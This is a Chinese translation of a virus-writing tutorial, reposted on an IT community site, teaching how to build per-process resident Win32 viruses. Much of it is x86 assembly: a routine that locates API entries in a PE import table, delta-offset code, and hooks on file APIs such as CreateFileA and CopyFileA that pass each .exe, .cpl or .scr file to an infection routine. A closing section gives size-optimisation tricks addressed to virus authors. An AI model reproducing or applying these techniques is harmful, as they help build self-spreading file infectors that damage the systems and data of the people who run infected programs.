恩,这个可能是我知道的编写Win32驻留病毒的唯一的已知途径。是的,你已经看到的是Win32而不是Win9X。这是因为这个方法还能够运行在WinNT下面。首先,你必须知道什么是一个进程。这个东西更使我奇怪的是那些开始在Windows下编程的人知道这个方法之后,并知道这个是个什么样的方法,但是他们通常不知道这个名字。好了,当我们执行一个Windows应用程序的时候,那就是一个进程:)非常容易理解。而这个驻留方式做了什么呢?首先我们必须开辟一块内存,为了把病毒主体放在那里,但是这个内存是从我们正在执行的自己的进程开始的。所以,我们开辟一些系统给这个进程的内存。它将由使用API函数"VirtualAlloc"来完成。但是...怎样来钩住API呢?现在据我所知最常用的方法是改变API在输入表(import table)中的地址。这是我的观点,唯一可行的方法。因为输入表可以被写,这就更简单了,而且我们不需要任何VxDCALL0的函数的帮助...

但是,这种类型的驻留病毒的弱点也在这里了...正如我们在输入表里所看到的,感染率严重依赖于我们要感染的文件。例如,如果我们感染WinNT的CMD.EXE,并且我有一个FindFirstFile(A/W)和FindNextFile(A/W)的感染例程,使用那些API的的所有文件都被感染。这就使得我们的病毒非常具有感染性,主要是因为当我们在WinNT下使用一个DIR命令的时候将会频繁使用。总之,如果我们不使用其它的方法来使它更具感染性的话,Per-Process方法将是非常脆弱的,如在Win32.Cabanas中,一个运行部分中。我们使得运行期部分每次感染\WINDOWS和\WINDOWS\SYSTEM目录下的一些文件。另外一个好的选择是,正如我在用CMD为例的例子里所说的,直接碰那些在第一次感染一个系统里的非常特别的文件...

--[DDT#1.2_4] ------------------------------------------------------------ ---

我已经在1998年的12月份把它写出来了,虽然我发现它可以不通过开辟内存来实现,但是,我还是改了它使之更容易理解。

%输入表处理%
~~~~~~~~~~~~
下面使输入表的结构。

IMAGE_IMPORT_DESCRIPTOR
^^^^^^^^^^^^^^^^^^^^^^^
-----------------------------------<----+00000000h
| Characteristics | Size : 1 DWORD
-----------------------------------<----+00000004h
| Time Date Stamp | Size : 1 DWORD
-----------------------------------<----+00000008h
| Forwarder Chain | Size : 1 DWORD
-----------------------------------<----+0000000Ch
| Pointer to Name | Size : 1 DWORD
-----------------------------------<----+00000010h
| First Thunk | Size : 1 DWORD
-----------------------------------

现在让我们看看Matt Pietrek是怎么描述它的。

DWORD Characteristics

曾经,这个被看成一些标志。然而,微软改变了它的意思并不厌其烦地更新WINNT.H。这个域世界上是指向一个指针数组的偏移(一个RVA)。这些指针每个都指向一个IMAGE_IMPORT_BY_NAME结构。

DWORD TimeDateStamp

time/date 标志表明文件是什么时候建立的。

DWORD ForwarderChain

这个域和向前调用有关。向前调用包括在一个DLL中把它的一个函数发送引用到另外一个DLL。例如,在Windows NT中,NTDLL.DLL看起来有一些函数向前调用KERNEL32.DLL中的一些函数。一个应用程序可能会认为它在调用NTDLL.DLL中的一个函数,但是世界上最终调用KERNEL32.DLL中的函数。这个域包含了一个对FirstThunk数组(即将要描述)的索引。这个由这个域索引的函数将要向前调用到另外一个DLL中。不幸的是,这种函数是怎么向前调用的格式没有文档资料,而且向前调用的函数的例子很难找。

DWORD Name

这是一个以NULL结尾的包含输入的DLL的名字ASCII字符串的RVA。一般的例子是"KERNEL32.DLL" 和 "USER32.DLL"。

PIMAGE_THUNK_DATA FirstThunk

这个域是一个指向IMAGE_THUNK_DATA单元的偏移地址(一个RVA)。在几乎每种情况下,这个单元被理解成一个IMAGE_IMPORT_BY_NAME结构的指针。如果这个域不是这些指针的其中一个,那么它可能被认为是被输入的DLL的序数。资料中关于你是否真的可以通过序数而不是通过名字来输入一个函数并不很确切。一个IMAGE_IMPORT_DESCRIPTOR的重要的部分是输入的DLL名字和两个IMAGE_IMPORT_BY_NAME数组。在EXE文件中,这两个数组(指向Characteristics 和 FirstThunk域)是平行的,而且在每个数组的结尾是空指针。两个数组里的指针都指向一个IMAGE_IMPORT_BY_NAME结构。

现在正如你所知道的Matt Pietrek(G0D)的定义,我将在这里列出从输入表里获取API地址和到API(我们将要改变的,后面关于这个更多)的偏移地址的代码。

;--------从这里开始剪切-------------------------------------------------------
;
; GetAPI_IT 函数
; ==============
; 下面的代码能够从输入表(Import Table)中获取一些信息
;
GetAPI_IT proc

; ------------------------------------------------------------ -----------------
; Ok, 让我们摇摇头。这个函数需要的参数和返回如下:
;
; 输入 : EDI : 指向API名字的指针 (区分大小写)
; 输出 : EAX : API地址
; EBX : API地址在输入表(import table)中地址
; ------------------------------------------------------------ -----------------

mov dword ptr [ebp+TempGA_IT1],edi ; Save ptr to name
mov ebx,edi
xor al,al ; Search for "\0"
scasb
jnz $-1
sub edi,ebx ; Obtain size of name
mov dword ptr [ebp+TempGA_IT2],edi ; Save size of name

; ------------------------------------------------------------ -----------------
;我们首先保存指向API的指针到一个临时变量中,然后我们搜索那个字符串的结尾,由
;0标记的,然后我们把EDI的新值(指向0)它的旧值,这样就得到了API名字的大小。很
;迷人,不是吗?在这之后,我们把API名字的大小保存到另外一个临时变量中。
; ------------------------------------------------------------ -----------------

xor eax,eax ; Make zero EAX
mov esi,dword ptr [ebp+imagebase] ; Load process imagebase
add esi,3Ch ; Pointer to offset 3Ch
lodsw ; Get process PE header
add eax,dword ptr [ebp+imagebase] ; address (normalized!)
xchg esi,eax
lodsd

cmp eax,"EP" ; Is it really a PE?
jnz nopes ; sh*t!

add esi,7Ch
lodsd ; Get address
push eax
lodsd ; EAX = Size
pop esi
add esi,dword ptr [ebp+imagebase]

; ------------------------------------------------------------ -----------------
;我们要做的第一件事是清空EAX,因为我们不要它的MSW。然后,我们要做的是在我们
;主体的头部检查PE签名。如果所有的事情都做好了,我们得到一个指向Import Table
;section (.idata)的指针。
; ------------------------------------------------------------ -----------------

SearchK32:
push esi
mov esi,[esi+0Ch] ; ESI = Pointer to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to "KERNEL32.dll",0
mov ecx,K32_Size ; ECX = Size of above string
cld ; Clear Direction Flag
push ecx ; Save size for later
rep cmpsb ; Compare bytes
pop ecx ; Restore size
pop esi ; Restore ptr to import
jz gotcha ; If matched, jump
add esi,14h ; Get another field
jmp SearchK32 ; Loop again

; ------------------------------------------------------------ -----------------
;首先我们再次把ESI压栈,我们将需要它被保存,因为正如你所知道的,它是.idata节
;的开始。然后,我们在ESI中得到的是名字的ASCII字符串(指针)的RVA,然后,我们把
;它用基址把那个值标准化,
; ------------------------------------------------------------ -----------------

gotcha:
cmp byte ptr [esi],00h ; Is OriginalFirstThunk 0?
jz nopes ; f**k off if it is.
mov edx,[esi+10h] ; Get FirstThunk :)
add edx,dword ptr [ebp+imagebase] ; Normalize!
lodsd
or eax,eax ; Is it 0?
jz nopes ; sh*t...

xchg edx,eax ; Get pointer to it!
add edx,[ebp+imagebase]
xor ebx,ebx

; ------------------------------------------------------------ -----------------
; 首先,我们检查OriginalFirstThunk域是否为NULL,如果它是,我们以一个错误退出。
; 然后,我们得到FirstThunk值,并通过加上基址(imagebase)来标准化它,并检查它
; 是否是0(如果它是,我们就有一个问题了,因此我们退出)。之后,我们把那个地址
; (FirshtThunk)放到EDX中,并标准化,在EAX中我们保存的是指向FirstThunk域的
; 指针。
; ------------------------------------------------------------ -----------------

loopy:
cmp dword ptr [edx],00h ; Last RVA? Duh...
jz nopes
cmp byte ptr [edx+03h],80h ; Ordinal? Duh...
jz reloop

mov edi,dword ptr [ebp+TempGA_IT1] ; Get pointer to API name
mov ecx,dword ptr [ebp+TempGA_IT2] ; Get API name size
mov esi,[edx] ; We retrieve the current
add esi,dword ptr [ebp+imagebase] ; pointed imported api string
inc esi
inc esi
push ecx ; Save its size
rep cmpsb ; Compare both stringz
pop ecx ; Restore it
jz wegotit
reloop:
inc ebx ; Increase counter
add edx,4 ; Get another ptr to another
loop loopy ; imported API and loop

; ------------------------------------------------------------ -----------------
; 首先,我们检查是否在数组(以null字符标记)的最后,如果是,我们离开。然后,我们
; 检查它是是否是一个序数,如果是,我们得到另外一个。接下来是有趣的东东:我们把
; 我们以前保存的指向要搜索的API名字的指针保存到EDI中,在ECX中是那个字符串的长
; 度,并把指向输入表中的当前的API的指针保存到ESI中。我们对这两个字符串进行比较
; 如果它们不相等,我们重新得到另外一个,直到我们找到了它或者我们到达输入表的
; 最后一个API。
; ------------------------------------------------------------ -----------------

wegotit:
shl ebx,2 ; Multiply per 4 (dword size)
add ebx,eax ; Add to FirstThunk value
mov eax,[ebx] ; EAX = API address ;)
test al,0 ; This is for avoid a jump,
org $-1 ; thus optimizing a little :)
nopes:
stc ; Error!
ret

; ------------------------------------------------------------ -----------------
; 非常简单:因为我们在EBX中的是计数,而且数组是一个DWORD数组,我们把它乘以4
; (为了得到和标志API地址的FirstThunk相关的偏移),然后我们在EBX中的是指向想要得到
; 的API在输入表中的地址的指针。非常完美:)
; ------------------------------------------------------------ -----------------

GetAPI_IT endp

;-------到这里为止剪切---------------------------------------------------------

OK,现在我们知道怎么样来玩输入表。但是我们需要更多的东西!

%运行期获取基址(imagebase)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个最普遍的错误是认为imagebase总是一个常量,或者它将总是为400000h。但是这和事实相去甚远。无论你在文件头里得到的是什么
imagebase,它可以被系统在运行期很容易地改变,所以我们将要访问一个不正确地地址,而且我们将会得到无法预料地回应。而获取它地方法是非常简单地。简单地使用通常的delta-offset例程。

virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
sub ebp,offset realcode ; And sub initial offset

OK?举个例子,让我们想象一下执行从401000h开始(几乎所有的由TLINK链接的文件)。所以,当我们使用了POP,我们将在EBP中得到诸如
00401005的结果。所以把它减去tier-virus_start,并减去当前的EIP(也就是说在所有的TLINK连接的文件中为1000h)?是的你得到了imagebase!所以将会如下:

virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
mov eax,ebp
sub ebp,offset realcode ; And sub initial offset
sub eax,00001000h ; Sub current EIP (should be
NewEIP equ $-4 ; patched at infection time)
sub eax,(tier-virus_start) ; Sub some sh*t :)

不要忘记在感染期修复NewEIP变量(如果你修改了EIP),所以它总是和PE文件头偏移28h处的值相等,也就是程序的EIP的RVA:)

[ 我的API钩子 ]

下面是我的GetAPI_IT例程的普查。这个基于如下的一个结构:

db ASCIIz_API_Name
dd offset (API_Handler)

例如:

db "CreateFileA",0
dd offset HookCreateFileA

而HookCreateFileA是一个处理钩住了的函数的例程。我使用这个结构的代码如下:

;---------从这里开始剪切-------------------------------------------------------------

HookAllAPIs:
lea edi,[ebp+@@Hookz] ; Ptr to the first API
nxtapi:
push edi ; Save the pointer
call GetAPI_IT ; Get it from Import Table
pop edi ; Restore the pointer
jc Next_IT_Struc_ ; Fail? Damn...
; EAX = API Address
; EBX = Pointer to API Address
; in the import table

xor al,al ; Reach the end of API string
scasb
jnz $-1

mov eax,[edi] ; Get handler offset
add eax,ebp ; Adjust with delta offset
mov [ebx],eax ; And put it in the import!
Next_IT_Struc:
add edi,4 ; Get next structure item :)
cmp byte ptr [edi]," " ; Reach the last api? Grrr...
jz AllHooked ; We hooked all, pal
jmp nxtapi ; Loop again
AllHooked:
ret

Next_IT_Struc_:
xor al,al ; Get the end of string
scasb
jnz $-1
jmp Next_IT_Struc ; And come back :)

@@Hookz label byte
db "MoveFileA",0 ; Some example hooks
dd (offset HookMoveFileA)

db "CopyFileA",0
dd (offset HookCopyFileA)

db "DeleteFileA",0
dd (offset HookDeleteFileA)

db "CreateFileA",0
dd (offset HookCreateFileA)

db " " ; End of array :)

;---------到这里为止剪切-------------------------------------------------------------

我希望它是高度清楚:)

%一般的钩子%
~~~~~~~~~~~~~

如果你发现了,有一些API,它的参数中,最后压栈的参数是一个指向一个存档(可以为一个可执行文件)的指针,所以我们可以hook它们并应用一个普通的处理首先来检测它的的扩展名,所以如果它是一个可执行文件,我们可以没有问题地感染它了:)

;---------从这里开始剪切-------------------------------------------------------------

; Some variated hooks :)

HookMoveFileA:
call DoHookStuff ; Handle this call
jmp [eax+_MoveFileA] ; Pass control 2 original API

HookCopyFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CopyFileA] ; Pass control 2 original API

HookDeleteFileA:
call DoHookStuff ; Handle this call
jmp [eax+_DeleteFileA] ; Pass control 2 original API

HookCreateFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CreateFileA] ; Pass control 2 original API

; The generic hooker!!

DoHookStuff:
pushad ; Push all registers
pushfd ; Push all flags
call GetDeltaOffset ; Get delta offset in EBP
mov edx,[esp+2Ch] ; Get filename to infect
mov esi,edx ; ESI = EDX = file to check
reach_dot:
lodsb ; Get character
or al,al ; Find NULL? sh*t...
jz ErrorDoHookStuff ; Go away then
cmp al,"." ; Dot found? Interesting...
jnz reach_dot ; If not, loop again
dec esi ; Fix it
lodsd ; Put extension in EAX
or eax,20202020h ; Make string lowercase
cmp eax,"exe." ; Is it an EXE? Infect!!!
jz InfectWithHookStuff
cmp eax,"lpc." ; Is it a CPL? Infect!!!
jz InfectWithHookStuff
cmp eax,"rcs." ; Is is a SCR? Infect!!!
jnz ErrorDoHookStuff
InfectWithHookStuff:
xchg edi,edx ; EDI = Filename to infect
call InfectEDI ; Infect file!! ;)
ErrorDoHookStuff:
popfd ; Preserve all as if nothing
popad ; happened :)
push ebp
call GetDeltaOffset ; Get delta offset
xchg eax,ebp ; Put delta offset in EAX
pop ebp
ret

;---------到这里为止剪切-------------------------------------------------------------

一些可以用这个一般地例程来hook的API如下:
MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA
CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA
CopyFileExA, OpenFile。

%最后的话%
~~~~~~~~~~
如果还有什么不清楚的地方,发email给我。我将尽可能地用一个简单的per-process驻留的病毒来阐述它,但是我编写的唯一一个per-process病毒太复杂了,而且比这有更多的特色,所以对你来说还是看不明白:)

【Win32 优化】
~~~~~~~~~~~~~
Ehrm...Super应该做这个而不是我,因为我是他的学生,我就在这里写一下我在Win32编程世界里所学到的东西。我将在这一章里讨论本地优化而不是结构优化,因为这个取决于于你和你的风格(例如,我个人非常热衷于堆栈和delta offset计算,正如你在我的代码里可以看到的,特别是在Win95.Garaipena里)。这篇文章充满了我自己的观点和在Valencian(瓦伦西亚)会议上Super给我的建议。他可能在病毒编写领域里优化得最后得人了。我没有撒谎。这里我不讨论象他那样怎么进行最大优化了。我只是想要使你看到在编写Win32程序的时候一些最明显的优化。我就不对非常明显的优化花招注释了,已经在我的《MS-DOS病毒编写教程》里解释了。

%检测一个寄存器是否为0%
~~~~~~~~~~~~~~~~~~~~~~~
我很讨厌看到,特别在Win32程序员中,这些相同的方法,这个使得我非常慢而且非常痛苦。不,不,我得大脑不能吸收CMP EAX,0的主意,例如。OK,让我们看看为什么:

cmp eax,00000000h ; 5 bytes
jz bribriblibli ; 2 bytes (if jz is short)

嗨,我知道生活就是就是狗屎,而且你正在把许多代码浪费在一些狗屎比较上。OK,让我们看看怎么来解决这个问题,利用一个代码来做同样的事情,但是用更少的字节。

or eax,eax ; 2 bytes
jz bribriblibli ; 2 bytes (if jz is short)

或者等价的(但更安全!):

test eax,eax ; 2 bytes
jz bribriblibli ; 2 bytes (if jz is short)

而且还有一个甚至更优化的方法来做这个,如果对EAX的内容不是关心的话(在我打算放到这里之后,EAX的内容将在ECX中完成)。下面你得到:

xchg eax,ecx ; 1 byte
jecxz bribriblibli ; 2 bytes (only if short)

你看到了吗?对"我不优化因为我失去了稳定性"没有托词,因为利用这个,你将不会失去除了代码的字节数的任何东西;)嗨,我使得一个7字节的例程减到了3字节...嗨?对此你还有什么好说的?哈哈哈。

%检查一个寄存器的值是否为-1%

因为许多Ring-3 API会返回你一个-1(0FFFFFFFFh)值,如果函数失败的话,而且当你比较它是否失败的时候,你必须对那个值进行比较。但是和以前一样有同样的问题,许多人通过使用CMP EAX,0FFFFFFFFh来做这个,而且它可以更优化...

cmp eax,0FFFFFFFFh ; 5 bytes
jz insumision ; 2 bytes (if short)

让我们这么做来使它更优化:

inc eax ; 1 byte
jz insumision ; 2 bytes
dec eax ; 1 byte

嗨,可能它占了更多的行,但是占了更少的字节(4比7)。

%使得一个寄存器为-1%
~~~~~~~~~~~~~~~~~~~~
这是一个几乎所有的初学病毒编写者面对的问题:

mov eax,-1 ; 5 bytes

你难道没有意识到你的选择很糟糕?你只要一根神经吗?该死,用一个更优化的方法来把它置-1非常简单:

xor eax,eax ; 2 bytes
dec eax ; 1 byte

你看到了吗?它不难!

%清除一个32bit寄存器并对它的LSW赋值%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
最明显的例子是所有的病毒在把PE文件的节的个数装载到AX中(因为这个值在PE头中占一个word)。好了,让我们看看大多数病毒编写者所做的:

xor eax,eax ; 2 bytes
mov ax,word ptr [esi+6] ; 4 bytes

或者这样:


mov ax,word ptr [esi+6] ; 4 bytes
cwde ; 1 byte

我还在想为什么所有的病毒编写者还用这个"老"公式呢,特别地是在你有一个386+指令使得我们避免在把word放到AX中之前把寄存器清0。这个指令是MOVZX。

movzx eax,word ptr [esi+6] ; 4 bytes

嗨,我们避免了一个2字节的指令。Cool,哈?

%调用一个存储在一个变量中的地址%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
呵呵,这是一些病毒编写者所做的另外一件事,使我快疯了,放声大哭。让我提醒你记住:

mov eax,dword ptr [ebp+ApiAddress] ; 6 bytes
call eax ; 2 bytes

我们可以直接调用一个地址...它节约了字节而且不用其它的任何可以用来做其它事情的寄存器。

call dword ptr [ebp+ApiAddress] ; 6 bytes

而且,我节约了一个没有用的,不需要的占了两个字节的指令,而且我们做的是完全一样的事情。

%关于push的趣事%
~~~~~~~~~~~~~~~~
几乎和上面一样,但是是push。让我们看看什么该做什么不该做:

mov eax,dword ptr [ebp+variable] ; 6 bytes
push eax ; 1 byte

我们可以少用一个字节来做这个。看:

push dword ptr [ebp+variable] ; 6 bytes

Cool,哈?;)好了,如果我们需要push很多次(如果这个值很大,如果你把那个值push 2+次就更优化,而如果这个值很小把那个值push 3+次)同样的变量把它先放到一个寄存器中,然后push寄存器将更优化。例如,如果我们需要把0 push 3次,把一个寄存器和它本身xor,然后push这个寄存器更优化。让我们看:

push 00000000h ; 2 bytes
push 00000000h ; 2 bytes
push 00000000h ; 2 bytes

让我们看看怎么来优化它:

xor eax,eax ; 2 bytes
push eax ; 1 byte
push eax ; 1 byte
push eax ; 1 byte

同样的在使用SEH的时候,当我们需要push fs:[0]之类的时候。让我们看看怎样来优化:

push dword ptr fs:[00000000h] ; 6 bytes ; 666? Mwahahahaha!
mov fs:[00000000h],esp ; 6 bytes
[...]
pop dword ptr fs:[00000000h] ; 6 bytes

代之我们应该这么做:

xor eax,eax ; 2 bytes
push dword ptr fs:[eax] ; 3 bytes
mov fs:[eax],esp ; 3 bytes
[...]
pop dword ptr fs:[eax] ; 3 bytes

呵呵,看起来有点傻,但是我们少用了7个字节!哇!!!

%获取一个ASCII字符串的结尾%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个非常有用,特别在我们的API搜索引擎中。而且毫无疑问,它应该在所有的病毒中比传统的方法更优化。让我们看看:

lea edi,[ebp+ASCIIz_variable] ; 6 bytes
@@1: cmp byte ptr [edi],00h ; 3 bytes
inc edi ; 1 byte
jnz @@1 ; 2 bytes
inc edi ; 1 byte

这个相同的代码可以非常简化,如果你用这个方法来编写它:

lea edi,[ebp+ASCIIz_variable] ; 6 bytes
xor al,al ; 2 bytes
@@1: scasb ; 1 byte
jnz @@1 ; 2 bytes

呵呵呵。有用,简单,好看。你还需要什么呢?;)

%关于乘法%
~~~~~~~~~~
例如,当要从代码中得到最后一节的时候,这个代码大多数是这么用的(我们在EAX中是节数-1):

mov ecx,28h ; 5 bytes
mul ecx ; 2 bytes

它把结果保存在EAX中,对吗?好了,我们有一个好得多的方法来做这个,仅仅用一个指令:

imul eax,eax,28h ; 3 bytes

 

推荐阅读

 

热点信息

 
强悍的草根IT技术社区,这里应该有您想要的!
Copyright © 2010 Gimoo.Net. All Rights Rreserved  京ICP备05050695号